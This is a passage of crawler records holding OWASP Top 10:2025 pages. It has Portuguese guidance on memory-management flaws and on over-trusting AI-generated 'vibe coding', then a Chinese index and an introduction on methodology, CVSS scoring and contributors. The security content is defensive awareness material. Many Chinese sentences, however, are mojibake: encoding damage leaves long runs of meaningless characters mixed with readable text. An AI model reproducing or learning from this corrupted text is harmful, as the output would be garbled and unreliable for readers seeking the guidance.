JavaScript/TypeScript (node.js), Go e o Rust \"seguro\" são resilientes à memória (*memory safe*). Problemas de gerenciamento de memória tendem a ocorrer em linguagens que não possuem essa segurança, como C e C++. Esta categoria teve a pontuação mais baixa na pesquisa da comunidade e baixa nos dados, apesar de ter o terceiro maior número de CVEs relacionados. Acreditamos que isso se deva à predominância de aplicações web sobre as aplicações desktop tradicionais. Vulnerabilidades de gerenciamento de memória frequentemente possuem as pontuações CVSS mais altas.\n\n### Descrição\n\nQuando uma aplicação é forçada a gerenciar a memória por conta própria, é muito fácil cometer erros. Linguagens com gerenciamento seguro de memória são usadas cada vez mais, mas ainda existem muitos sistemas legados em produção, novos sistemas de baixo nível que exigem linguagens não seguras, e aplicações web que interagem com *mainframes*, dispositivos IoT, *firmware* e outros sistemas. CWEs representativas são *CWE-120 Cópia de Buffer sem Verificação do Tamanho da Entrada ('Classic Buffer Overflow')* e *CWE-121 Stack-based Buffer Overflow*.\n\nAs falhas de gerenciamento de memória podem ocorrer quando:\n\n- Você não aloca memória suficiente para uma variável.\n- Você não valida a entrada, causando um transbordamento ( *overflow* ) do *heap* , da *stack* ou de um *buffer* .\n- Você tenta acessar um objeto após ele ter sido liberado ( *free* ).\n- Você vaza memória ( *memory leak* ) até que a aplicação falhe.\n\n### Como Prevenir\n\nA melhor maneira de prevenir falhas de gerenciamento de memória é usar uma linguagem com memória segura (*memory-safe*), como Rust, Java, Go, C#, Python, Swift, Kotlin ou JavaScript.\n\nSe você não puder usar uma linguagem segura:\n\n- Ative recursos do servidor que dificultam a exploração: ASLR, DEP e SEHOP.\n- Monitore a aplicação em busca de vazamentos de memória ( *memory leaks* ).\n- Valide cuidadosamente todas as entradas do sistema.\n- Prefira funções mais seguras (ex: em C, prefira `strncpy()` em vez de `strcpy()` ).\n- Fixe todos os erros *e* avisos ( *warnings* ) do compilador. Não ignore avisos apenas porque o programa compilou.\n\n---\n\n## X03:2025 – Confiança Inapropriada em Código Gerado por IA ('Vibe Coding')\n\n### Contexto\n\nAtualmente, o mundo inteiro fala sobre e utiliza IA, incluindo desenvolvedores de software. Embora ainda não existam CVEs ou CWEs específicas para código gerado por IA, é bem documentado que esse código frequentemente contém mais vulnerabilidades do que o código escrito por seres humanos.\n\n### Descrição\n\nEstamos vendo as práticas de desenvolvimento mudarem para incluir não apenas código escrito com auxílio de IA, mas código escrito e enviado (*committed*) quase inteiramente sem supervisão humana (frequentemente chamado de *vibe coding*). Assim como nunca foi uma boa ideia copiar trechos de código de blogs sem refletir, o problema é agravado neste caso. Trechos de código bons e seguros são raros e podem ser estatisticamente negligenciados pela IA devido a restrições do sistema.\n\n### Como Prevenir\n\nUrgimos que todas as pessoas que escrevem código considerem o seguinte ao usar IA:\n\n- Você deve ser capaz de ler e entender totalmente todo o código que envia, mesmo que tenha sido escrito por uma IA. **Você é responsável por todo código que comita.**\n- Revise minuciosamente todo código assistido por IA em busca de vulnerabilidades, idealmente com seus próprios olhos e com ferramentas de segurança (como análise estática).\n- Considere utilizar um servidor de Geração Aumentada por Recuperação (RAG) com seus próprios exemplos de código seguro revisados e documentação interna.\n- Implemente políticas e processos como parte do seu SDLC para informar aos desenvolvedores como devem ou não usar IA na organização.\n- **Não é recomendado** usar *vibe coding* para funções complexas, programas críticos de negócio ou sistemas que serão utilizados por muito tempo.\n- Treine seus desenvolvedores sobre suas políticas e as melhores práticas para o uso seguro de IA no desenvolvimento de software.", "znaku_textu": 8049, "slov": 1228, "odkazu": 42, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:13", "sha256": "a614ce8da463f24726ab4c5889bc7b060c70bb57a4eece86b21129f432701c90", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/zh-Hant/", "titulek": "丝饾 - OWASP Top 10:2025", "h1": "OWASP Top 10:2025", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/zh-Hant/", "jazyk": "zh-Hant", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10:2025"}, {"uroven": 2, "text": "关于本次发布"}, {"uroven": 2, "text": "主项目页面"}, {"uroven": 2, "text": "开始阅读"}, {"uroven": 2, "text": "察航"}, {"uroven": 3, "text": "Top 10:2025 列表"}], "markdown": "# OWASP Top 10:2025\n\n欢迎阅读 OWASP Top 10:2025 发布版。\n\nOWASP Top 10 是面向开发人员和 Web ĺş”ç”¨ĺŽ‰ĺ…¨äťŽä¸šč€…çš„ć ‡ĺ‡†ĺŽ‰ĺ…¨ć„čŻ†ć–‡ćĄŁă€‚ĺŽƒäťŁčĄ¨äş†ä¸šç•ŒĺŻš Web 应用最关键安全风险的广泛共识。\n\n## 关于本次发布\n\n这是 OWASP Top 10 的 **2025** ç‰ˆćœŹă€‚ćœŹç‰ˆćœŹć šćŽćœ€ć–°ć•°ćŽĺ’ŒĺŽ‰ĺ…¨čś‹ĺŠżčż›čĄŒäş†ć›´ć–°ă€‚\n\n## 主项目页面\n\n[主项目页面](https://github.com/OWASP/www-project-top-ten) 包含旧版本信息以及本项目的元数据。\n\n## 开始阅读\n\n建议从[引言](0x00_2025-Introduction/)开始,了解 2025 版本的新变化。\n\n## 察航\n\n- [引言](0x00_2025-Introduction/)\n- [关于 OWASP](0x01_2025-About_OWASP/)\n- [什么是应用安全风险?](0x02_2025-What_are_Application_Security_Risks/)\n- [建立现代应用安全计划](0x03_2025-Establishing_a_Modern_Application_Security_Program/)\n\n### Top 10:2025 列表\n\n1. [A01:2025 - 失效的访问控制](A01_2025-Broken_Access_Control/)\n2. [A02:2025 - 安全配置错误](A02_2025-Security_Misconfiguration/)\n3. [A03:2025 - 软件供应链失效](A03_2025-Software_Supply_Chain_Failures/)\n4. [A04:2025 - ĺŠ ĺŻ†ćœşĺˆśĺ¤ąć•ˆ](A04_2025-Cryptographic_Failures/)\n5. [A05:2025 - 注入](A05_2025-Injection/)\n6. [A06:2025 - 不安全设计](A06_2025-Insecure_Design/)\n7. [A07:2025 - 认证失效](A07_2025-Authentication_Failures/)\n8. [A08:2025 - 软件或数据完整性失效](A08_2025-Software_or_Data_Integrity_Failures/)\n9. [A09:2025 - 安全日志和告警失效](A09_2025-Security_Logging_and_Alerting_Failures/)\n10. [A10:2025 - 异常条件处理不当](A10_2025-Mishandling_of_Exceptional_Conditions/)\n\n---\n\n**注意:** çżťčŻ‘äźšĺœ¨ĺŻç”¨ć—śé€ć­ĽĺŠ ĺ…Ľă€‚", "znaku_textu": 1627, "slov": 115, "odkazu": 34, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:27", "sha256": "4a356db826318c53053a6d87050c8c19ff4a9ff047285d4ce88373095fab04c3", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/www-project-top-ten", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/zh-Hant/0x00_2025-Introduction/", "titulek": "引言 - OWASP Top 10:2025", "h1": "十大最关键 Web 应用安全风险", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/zh-Hant/0x00_2025-Introduction/", "jazyk": "zh-Hant", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "十大最关键 Web 应用安全风险"}, {"uroven": 1, "text": "引言"}, {"uroven": 2, "text": "OWASP Top 10:2025 简介"}, {"uroven": 2, "text": "2025 ĺš´ Top 10 有哪些变化"}, {"uroven": 2, "text": "方法论"}, {"uroven": 2, "text": "类别如何构建"}, {"uroven": 2, "text": "数据如何用于选择类别"}, {"uroven": 2, "text": "为什么使用社区问卷"}, {"uroven": 2, "text": "感谢数据贡献č€"}, {"uroven": 2, "text": "主要作č€"}, {"uroven": 2, "text": "记录问题和拉取请求"}, {"uroven": 3, "text": "项目链接:"}], "markdown": "# 十大最关键 Web 应用安全风险\n\n# 引言\n\n欢迎阅读第 8 版 OWASP Top Ten\n\nčĄˇĺżƒć„Ÿč°˘ć‰€ćœ‰ĺœ¨é—Žĺˇä¸­č´ĄçŒŽć•°ćŽĺ’Œč§‚ç‚šçš„äşşă€‚ć˛Ąćœ‰ä˝ äťŹďźŒćœŹç‰ˆä¸ĺŻčƒ˝ĺŽŒćˆă€‚**č°˘č°˘ä˝ äťŹďź**\n\n## OWASP Top 10:2025 简介\n\n- [A01:2025 - 失效的访问控制](../A01_2025-Broken_Access_Control/)\n- [A02:2025 - 安全配置错误](../A02_2025-Security_Misconfiguration/)\n- [A03:2025 - 软件供应链失效](../A03_2025-Software_Supply_Chain_Failures/)\n- [A04:2025 - ĺŠ ĺŻ†ćœşĺˆśĺ¤ąć•ˆ](../A04_2025-Cryptographic_Failures/)\n- [A05:2025 - 注入](../A05_2025-Injection/)\n- [A06:2025 - 不安全设计](../A06_2025-Insecure_Design/)\n- [A07:2025 - 认证失效](../A07_2025-Authentication_Failures/)\n- [A08:2025 - 软件或数据完整性失效](../A08_2025-Software_or_Data_Integrity_Failures/)\n- [A09:2025 - 安全日志记录和告警失效](../A09_2025-Security_Logging_and_Alerting_Failures/)\n- [A10:2025 - 异常条件处理不当](../A10_2025-Mishandling_of_Exceptional_Conditions/)\n\n## 2025 ĺš´ Top 10 有哪些变化\n\n2025 ĺš´ Top Ten ĺŒ…ĺŤä¸¤ä¸Şć–°ĺ˘žçąťĺˆŤĺ’Œä¸€ćŹĄçąťĺˆŤĺˆĺšśă€‚ćˆ‘äťŹĺ°˝ĺŻčƒ˝çť§çť­ćŠŠé‡ç‚šć”žĺœ¨ć šĺ› č€Œä¸ć˜Żç—‡çŠśä¸Šă€‚č€ƒč™‘ĺˆ°č˝ŻäťśĺˇĽç¨‹ĺ’Œč˝ŻäťśĺŽ‰ĺ…¨ćœŹčşŤçš„ĺ¤ć‚ć€§ďźŒčŚĺˆ›ĺťşĺä¸ŞĺŽŒĺ…¨ć˛Ąćœ‰é‡ĺ çš„çąťĺˆŤĺŸşćœŹä¸ĺŻčƒ˝ă€‚\n\n- **[A01:2025 - 失效的访问控制](../A01_2025-Broken_Access_Control/)** 保持第 1 位,是最严重的应用安全风险;贡献数据表明,平均 3.73% 的受测应用存在本类别 40 个 CWE ä¸­çš„ä¸€ä¸Şćˆ–ĺ¤šä¸Şĺźąç‚šă€‚ä¸Šĺ›žä¸­çš„č™šçşżčĄ¨ç¤şćœĺŠĄçŤŻčŻˇćą‚äźŞé€ ďźˆSSRF)已并入此类别。\n- **[A02:2025 - 安全配置错误](../A02_2025-Security_Misconfiguration/)** 从 2021 年的第 5 位上升到 2025 年的第 2 位。在本轮数据中,配置错误更为普遍。3.00% 的受测应用存在本类别 16 个 CWE 中的一个或多个弱点。随着软件工程继续把越来越多的应用行为交给配置驱动,这并不意外。\n- **[A03:2025 - 软件供应链失效](../A03_2025-Software_Supply_Chain_Failures/)** 是寚 [A06:2021 - 易受攻击和过时的组件](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/) 的扩展,覆盖软件依赖、构建系统和分发基础设施整个生态内或跨生态发生的更大范围危害事件。该类别在社区问卷中以压倒性优势被选为最受关注的问题。它包含 5 个 CWE,在收集数据中的体现有限;我们认为这是由于测试难度较高,并希望测试能力在这一领域逐步跟上。该类别在数据中的发生次数最少,但来自 CVE 的平均可利用性和影响分数最高。\n- **[A04:2025 - ĺŠ ĺŻ†ćœşĺˆśĺ¤ąć•ˆ](../A04_2025-Cryptographic_Failures/)** 排名从第 2 位下降两位到第 4 位。贡献数据表明,平均 3.80% 的应用存在本类别 32 个 CWE 中的一个或多个弱点。该类别通常会导致敏感数据暴露或系统被攻陷。\n- **[A05:2025 - 注入](../A05_2025-Injection/)** 排名从第 3 位下降两位到第 5 ä˝ďźŒç›¸ĺŻšäşŽĺŠ ĺŻ†ćœşĺˆśĺ¤ąć•ˆĺ’Œä¸ĺŽ‰ĺ…¨čŽžčŽĄçš„ä˝ç˝ŽäżćŒä¸ĺ˜ă€‚ćł¨ĺ…Ľć˜Żćľ‹čŻ•ćœ€ĺ……ĺˆ†çš„çąťĺˆŤäš‹ä¸€ďźŒćœŹçąťĺˆŤ 38 个 CWE 关联的 CVE 数量最多。注入覆盖从跨站脚本(高频率、低影响)到 SQL 注入(低频率、高影响)等一系列问题。\n- **[A06:2025 - 不安全设计](../A06_2025-Insecure_Design/)** 排名从第 4 位下滑两位到第 6 位,被安全配置错误和软件供应链失效超过。该类别于 2021 ĺš´ĺź•ĺ…ĽďźŒćˆ‘äťŹĺˇ˛çťçœ‹ĺˆ°čĄŒä¸šĺœ¨ĺ¨čƒĺťşć¨Ąć–šé˘ćœ‰ć˜Žć˜žć”ščż›ďźŒĺšśä¸”ć›´ĺŠ é‡č§†ĺŽ‰ĺ…¨čŽžčŽĄă€‚\n- **[A07:2025 - 认证失效](../A07_2025-Authentication_Failures/)** 保持第 7 位,名称略有变化(此前为 [Identification and Authentication Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/) ďź‰ďźŒäťĽć›´ĺ‡†çĄŽĺœ°ĺć˜ čŻĽçąťĺˆŤä¸­çš„ 36 个 CWEă€‚čŻĽçąťĺˆŤäťç„śé‡čŚďźŒä˝†ć ‡ĺ‡†ĺŒ–čŽ¤čŻćĄ†ćžśçš„ä˝żç”¨ĺ˘žĺŠ äźźäšŽć­Łĺœ¨é™ä˝ŽčŽ¤čŻĺ¤ąć•ˆçš„ĺ‘ç”Ÿé˘‘çŽ‡ă€‚\n- **[A08:2025 - 软件或数据完整性失效](../A08_2025-Software_or_Data_Integrity_Failures/)** 继续位列第 8ă€‚čŻĽçąťĺˆŤĺ…łćł¨ĺœ¨ćŻ”č˝Żäťśäž›ĺş”é“žĺ¤ąć•ˆć›´ä˝Žä¸€ĺą‚çš„ä˝ç˝ŽďźŒćœŞčƒ˝çť´ćŠ¤äżĄäťťčžšç•ŒĺšśéŞŒčŻč˝Żäťśă€äťŁç ĺ’Œć•°ćŽĺˇĽäťśĺŽŒć•´ć€§çš„é—Žé˘˜ă€‚\n- **[A09:2025 - 安全日志记录和告警失效](../A09_2025-Security_Logging_and_Alerting_Failures/)** 保持第 9 位。名称略有变化(此前为 [Security Logging and Monitoring Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/) ),用于强调告警功能的重要性:相关日志事件需要触发适当行动。没有告警的高质量日志,在识别安全事件时价值很有限。该类别在数据中一直会被低估,本次也再次由社区问卷参与者投票进入列表。\n- **[A10:2025 - 异常条件处理不当](../A10_2025-Mishandling_of_Exceptional_Conditions/)** 是 2025 年新增类别。它包含 24 个 CWE,关注错误处理不当、逻辑错误、失效开放以及系统可能遇到的异常条件所引发的其他相关场景。\n\n## 方法论\n\n本版 Top Ten 仍然受数据启发,但不会盲目由数据驱动。我们基于贡献数据对 12 ä¸ŞçąťĺˆŤćŽ’ĺşďźŒĺšśĺ…čŽ¸ç¤žĺŒşé—Žĺˇçš„ĺéŚˆćŽ¨ĺŠ¨ćˆ–çŞĺ‡şĺ…śä¸­ä¸¤ä¸ŞçąťĺˆŤă€‚čż™ć ˇĺšćœ‰ä¸€ä¸ŞĺŸşćœŹĺŽŸĺ› ďźšĺŽĄč§†č´ĄçŒŽć•°ćŽďźŒćœŹč´¨ä¸Šć˜Żĺœ¨ĺ›žçœ‹čż‡ĺŽťă€‚ĺş”ç”¨ĺŽ‰ĺ…¨ç ”çŠśäşşĺ‘˜éœ€čŚćŠ•ĺ…Ľć—śé—´čŻ†ĺˆŤć–°çš„ćźć´žĺšśĺź€ĺ‘ć–°çš„ćľ‹čŻ•ć–šćł•ă€‚ĺ°†čż™äş›ćľ‹čŻ•é›†ćˆĺˆ°ĺˇĽĺ…ˇĺ’Œćľç¨‹ä¸­ĺŻčƒ˝éœ€čŚć•°ĺ‘¨ĺˆ°ć•°ĺš´ă€‚ç­‰ćˆ‘äťŹčƒ˝ĺ¤Ÿĺ¤§č§„ć¨ĄĺŻé ćľ‹čŻ•ćŸä¸Şĺźąç‚šć—śďźŒĺŻčƒ˝ĺˇ˛çťčż‡ĺŽťĺ¤šĺš´ă€‚čż˜ćœ‰ä¸€äş›é‡čŚéŁŽé™ŠďźŒćˆ‘äťŹäšŸčŽ¸ć°¸čżœć— ćł•ĺŻé ćľ‹čŻ•ďźŒĺšśĺœ¨ć•°ćŽä¸­ĺ‘ˆçŽ°ă€‚ä¸şäş†ĺšłčĄĄčż™ç§č§†č§’ďźŒćˆ‘äťŹä˝żç”¨ç¤žĺŒşé—ŽĺˇďźŒčŻ˘é—Žä¸€çşżĺş”ç”¨ĺŽ‰ĺ…¨ĺ’Œĺź€ĺ‘äťŽä¸šč€…ďźŒäť–äťŹçœ‹ĺˆ°ĺ“Şäş›ĺ…łé”ŽéŁŽé™ŠĺŻčƒ˝ĺœ¨ćľ‹čŻ•ć•°ćŽä¸­ä˝“çŽ°ä¸čśłă€‚\n\n## 类别如何构建\n\n与上一版 OWASP Top Ten 相比,部分类别有所变化。下面从较高层面概述这些类别变化。\n\n在本次迭代中,我们收集数据时不再像 2021 ç‰ˆé‚Łć ˇé™ĺˆś CWE 范围。我们要求提供从 2021 年开始某一年度测试的应用数量,以及测试中发现至少一个 CWE ĺŽžäž‹çš„ĺş”ç”¨ć•°é‡ă€‚čż™ç§ć źĺźčŽŠćˆ‘äťŹčƒ˝ĺ¤ŸčˇŸč¸ŞćŻä¸Ş CWE 在应用总体中的普遍程度。我们会忽略频次;虽然频次在其他场景可能有必要,但它会掩盖风险在应用总体中的实际普遍性。一个应用中有 4 个 CWE 实例还是 4000 个实例,并不会影响 Top Ten çš„čŽĄçŽ—ă€‚ĺ°¤ĺ…ść˜ŻäşşĺˇĽćľ‹čŻ•äşşĺ‘˜é€šĺ¸¸ĺŞäźšĺˆ—ĺ‡şä¸€ćŹĄćźć´žďźŒć— čŽşĺŽƒĺœ¨ĺş”ç”¨ä¸­é‡ĺ¤ĺ‡şçŽ°ĺ¤šĺ°‘ćŹĄďź›č‡ŞĺŠ¨ĺŒ–ćľ‹čŻ•ćĄ†ćžśĺˆ™äźšćŠŠĺŒä¸€çąťćźć´žçš„ćŻä¸ŞĺŽžäž‹éƒ˝ĺˆ—ä¸şç‹ŹçŤ‹é—Žé˘˜ă€‚ćˆ‘äťŹäťŽ 2017 嚴續 30 个 CWE,到 2021 年近 400 个 CWE,再到本版数据集中用于分析的 589 个 CWE。我们计划未来补充更多数据分析。CWE ć•°é‡çš„ĺ¤§ĺš…ĺ˘žĺŠ äšŸčŚćą‚ćˆ‘äťŹč°ƒć•´çąťĺˆŤçť“ćž„ă€‚\n\n我们花了数月对 CWE 进行分组和分类,而且本可以继续投入更多时间。但总要在某个时间点停止。CWE ä¸­ć—˘ćœ‰ć šĺ› çąťĺž‹ďźŒäšŸćœ‰ç—‡çŠśçąťĺž‹ďź›ć šĺ› çąťĺž‹ĺŚ‚â€œĺŠ ĺŻ†ćœşĺˆśĺ¤ąć•ˆâ€ĺ’Œâ€œé…ç˝Žé”™čŻŻâ€ďźŒç—‡çŠśçąťĺž‹ĺŚ‚â€œć•ć„Ÿć•°ćŽćš´éœ˛â€ĺ’Œâ€œć‹’çťćœĺŠĄâ€ă€‚ćˆ‘äťŹĺ†łĺŽšĺ°˝ĺŻčƒ˝ĺ…łćł¨ć šĺ› ďźŒĺ› ä¸şčż™ć›´ćœ‰ĺˆŠäşŽćäž›čŻ†ĺˆŤĺ’ŒäżŽĺ¤ćŒ‡ĺŻźă€‚ĺ…łćł¨ć šĺ› č€Œä¸ć˜Żç—‡çŠśĺšśä¸ć˜Żć–°ćŚ‚ĺżľďź›Top Ten ä¸€ç›´ć˜Żç—‡çŠśĺ’Œć šĺ› çš„ćˇˇĺˆă€‚CWE ćœŹčşŤäšŸć˜Żç—‡çŠśĺ’Œć šĺ› çš„ćˇˇĺˆďź›ćˆ‘äťŹĺŞć˜Żć›´ćœ‰ć„čŻ†ĺœ°ćŒ‡ĺ‡şčż™ä¸€ç‚šă€‚ćœŹç‰ˆćŻä¸ŞçąťĺˆŤĺšłĺ‡ĺŒ…ĺŤ 25 个 CWE,下限是 A03:2025-软件供应链失效和 A09:2025 安全日志记录和告警失效的 5 个 CWE,上限是 A01:2025-失效的访问控制的 40 个 CWE。我们决定将每个类别中的 CWE 数量上限设为 40ă€‚ć›´ć–°ĺŽçš„çąťĺˆŤçť“ćž„äšŸĺ¸ŚćĽé˘ĺ¤–ĺŸščŽ­äťˇĺ€źďźŒĺ› ä¸şäźä¸šĺŻäťĽčšç„ŚäşŽĺŻšĺ…śčŻ­č¨€ćˆ–ćĄ†ćžśćœ‰ć„äš‰çš„ CWE。\n\n有人问我们,为什么不改成类似 MITRE Top 25 Most Dangerous Software Weaknesses 的“10 个 CWE 列表”。我们在类别中使用多个 CWE ä¸ťčŚćœ‰ä¸¤ä¸ŞĺŽŸĺ› ă€‚çŹŹä¸€ďźŒĺšśä¸ć˜Żć‰€ćœ‰ CWE 都存在于所有编程语言或框架中。这会给工具和培训/ć„čŻ†čŽĄĺˆ’ĺ¸ŚćĽé—Žé˘˜ďźŒĺ› ä¸ş Top Ten 的部分内容可能并不适用。第二,常见漏洞往往对应多个 CWEă€‚äž‹ĺŚ‚ďźŒé€šç”¨ćł¨ĺ…Ľă€ĺ‘˝äť¤ćł¨ĺ…Ľă€čˇ¨çŤ™č„šćœŹă€çĄŹçź–ç ĺŻ†ç ă€çźşĺ°‘éŞŒčŻă€çź“ĺ†˛ĺŒşćş˘ĺ‡şă€ć•ć„ŸäżĄćŻć˜Žć–‡ĺ­˜ĺ‚¨ç­‰éƒ˝ćœ‰ĺ¤šä¸Ş CWE。不同组织或测试人员可能会使用不同 CWE。通过使用包含多个 CWE 的类别,我们可以提升基线认知,让大家了解同一通用类别名称下可能出现的不同类型弱点。在 2025 版 Top Ten 中,10 个类别共包含 248 个 CWE。在本版发布时,[MITRE 可下载字典](https://cwe.mitre.org)中共有 968 个 CWE。\n\n## 数据如何用于选择类别\n\n与 2021 版类似,我们使用 CVE 数据来衡量 *Exploitability* 和 *Technical)Impact*。我们下载 OWASP Dependency Check,提取 CVSS Exploit 和 Impact 分数,并按 CVE 关联的 CWE ĺˆ†çť„ă€‚čż™éœ€čŚç›¸ĺ˝“ĺ¤šçš„ç ”çŠśĺ’Œĺ¤„ç†ďźŒĺ› ä¸şć‰€ćœ‰ CVE 都有 CVSSv2 分数,但 CVSSv2 存在一些 CVSSv3 试图修正的问题。某个时间点之后,所有 CVE 也都会分配 CVSSv3 分数。此外,CVSSv2 和 CVSSv3 的评分范围与公式也发生了变化。\n\n在 CVSSv2 中,Exploit 和(技术)Impact 最高都可以达到 10.0,但公式会把它们分别压低到 60% 和 40%。在 CVSSv3 中,理论最高值被限制为 Exploit 6.0、Impact 4.0。按权重计算后,CVSSv3 中 Impact 分数平均提高了将近 1.5 分,而可利用性平均降低了将近 0.5 分。\n\n从 OWASP Dependency Check 提取的国家漏洞数据库(NVD)中,大约有 17.5 万条 CVE čŽ°ĺ˝•ć˜ ĺ°„ĺˆ° CWE(高于 2021 年的 12.5 万条)。此外,有 643 个唯一 CWE ć˜ ĺ°„ĺˆ° CVE(高于 2021 年的 241 个)。在提取的近 22 万条 CVE 中,16 万条有 CVSS v2 分数,15.6 万条有 CVSS v3 分数,6000 条有 CVSS v4 分数。许多 CVE ĺŒć—śćœ‰ĺ¤šä¸Şĺˆ†ć•°ďźŒĺ› ć­¤čż™äş›ć•°é‡ç›¸ĺŠ äźščś…čż‡ 22 万。\n\n寚 Top Ten 2025,我们按以下方式计算平均可利用性和影响分数。我们将所有带 CVSS 分数的 CVE 按 CWE 分组,然后按拥有 CVSSv3 的数据比例以及剩余 CVSSv2 ć•°ćŽçš„ćŻ”äž‹ďźŒĺŻšĺŻĺˆŠç”¨ć€§ĺ’Œĺ˝ąĺ“ĺˆ†ć•°čż›čĄŒĺŠ ćƒďźŒĺž—ĺˆ°ć€ťä˝“ĺšłĺ‡ĺ€źă€‚ćˆ‘äťŹćŠŠčż™äş›ĺšłĺ‡ĺ€źć˜ ĺ°„ĺ›žć•°ćŽé›†ä¸­çš„ CWE,用作风险公式另一半的 Exploit 和(技术)Impact 评分。\n\n为什么不使用 CVSS v4.0ďźŸĺ› ä¸şĺŽƒçš„čŻ„ĺˆ†çŽ—ćł•ĺ‘ç”Ÿäş†ć šćœŹĺ˜ĺŒ–ďźŒä¸ĺ†ĺƒ CVSSv2 和 CVSSv3 é‚Łć ˇĺŽšć˜“ćäž› *Exploit* 或 *Impact* 分数。我们会尝试为未来版本的 Top Ten 找到使用 CVSS v4.0 评分的方法,但在 2025 版中未能及时确定可行方式。\n\n## 为什么使用社区问卷\n\n数据中的结果很大程度上受限于行业能够通过自动化方式测试到的内容。和有经验的 AppSec ä¸“ä¸šäşşĺ‘˜äş¤ćľć—śďźŒäť–äťŹäźšĺ‘ŠčŻ‰ä˝ ďźŒäť–äťŹĺ‘çŽ°çš„é—Žé˘˜ĺ’Œçœ‹ĺˆ°çš„čś‹ĺŠżčż˜ć˛Ąćœ‰čż›ĺ…Ľć•°ćŽă€‚äşşäťŹéœ€čŚć—śé—´ä¸şćŸäş›ćźć´žçąťĺž‹ĺź€ĺ‘ćľ‹čŻ•ć–šćł•ďźŒéšĺŽčż˜éœ€čŚć›´ĺ¤šć—śé—´ĺ°†čż™äş›ćľ‹čŻ•č‡ŞĺŠ¨ĺŒ–ďźŒĺšśĺœ¨ĺ¤§é‡ĺş”ç”¨ä¸ŠčżčĄŒă€‚ćˆ‘äťŹĺ‘çŽ°çš„ä¸€ĺˆ‡éƒ˝ĺœ¨ĺ›žçœ‹čż‡ĺŽťďźŒĺŻčƒ˝é—ćźä¸Šä¸€ĺš´ĺ‡şçŽ°ă€ä˝†ĺ°šćœŞčż›ĺ…Ľć•°ćŽçš„čś‹ĺŠżă€‚\n\nĺ› ć­¤ďźŒç”ąäşŽć•°ćŽĺšśä¸ĺŽŒć•´ďźŒćˆ‘äťŹĺŞäťŽć•°ćŽä¸­é€‰ć‹Šĺä¸ŞçąťĺˆŤä¸­çš„ĺ…Ťä¸Şă€‚ĺŚĺ¤–ä¸¤ä¸ŞçąťĺˆŤćĽč‡Ş Top 10 ç¤žĺŒşé—Žĺˇă€‚čż™čŽŠä¸€çşżäťŽä¸šč€…ĺŻäťĽćŠ•çĽ¨é€‰ĺ‡şäť–äťŹčŽ¤ä¸şćœ€éŤ˜éŁŽé™Šă€ä˝†ĺŻčƒ˝ä¸ĺœ¨ć•°ćŽä¸­ďźˆç”šč‡łĺŻčƒ˝ć°¸čżœć— ćł•ç”¨ć•°ćŽčĄ¨čžžďź‰çš„çąťĺˆŤă€‚\n\n## 感谢数据贡献č€\n\näťĽä¸‹çť„çť‡ďźˆäťĽĺŠĺ‡ ä˝ĺŒżĺćčľ č€…ďź‰ć…ˇć…¨ćčľ äş†čś…čż‡ 280 ä¸‡ä¸Şĺş”ç”¨çš„ć•°ćŽďźŒĺ¸ŽĺŠŠćˆ‘äťŹĺťşçŤ‹äş†č§„ć¨Ąćœ€ĺ¤§ă€čŚ†ç›–ćœ€ĺ…¨é˘çš„ĺş”ç”¨ĺŽ‰ĺ…¨ć•°ćŽé›†ă€‚ć˛Ąćœ‰ä˝ äťŹďźŒčż™ä¸ĺŻčƒ˝ĺŽžçŽ°ă€‚\n\n- Accenture (Prague)\n- Anonymous (multiple)\n- Bugcrowd\n- Contrast Security\n- CryptoNet Labs\n- Intuitor SoftTech Services\n- Orca Security\n- Probely\n- Semgrep\n- Sonar\n- usd AG\n- Veracode\n- Wallarm\n\n## 主要作č€\n\n- Andrew van der Stock - X: [@vanderaj](https://x.com/vanderaj)\n- Brian Glas - X: [@infosecdad](https://x.com/infosecdad)\n- Neil Smithline - X: [@appsecneil](https://x.com/appsecneil)\n- Tanya Janca - X: [@shehackspurple](https://x.com/shehackspurple)\n- Torsten Gigler - Mastodon: [@[email protected]](https://infosec.exchange/@torsten_gigler)\n\n## 记录问题和拉取请求\n\n请在以下位置提交修正或问题:\n\n### 项目链接:\n\n- [丝饾](https://owasp.org/www-project-top-ten/)\n- [GitHub 仓库](https://github.com/OWASP/Top10)", "znaku_textu": 12393, "slov": 645, "odkazu": 38, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:14", "sha256": "764818de3c77de6affa3da4e4219f8714affb5f6f5fa3c780e8e782a4fa080ec", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cwe.mitre.org/", "https://x.com/vanderaj", "https://x.com/infosecdad", "https://x.com/appsecneil", "https://x.com/shehackspurple", "https://infosec.exchange/@torsten_gigler", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/zh-Hant/0x01_2025-About_OWASP/", "titulek": "关于 OWASP - OWASP Top 10:2025", "h1": "关于 OWASP", "popis": "OWASP Top 10:2025", "klicova_slova": "", 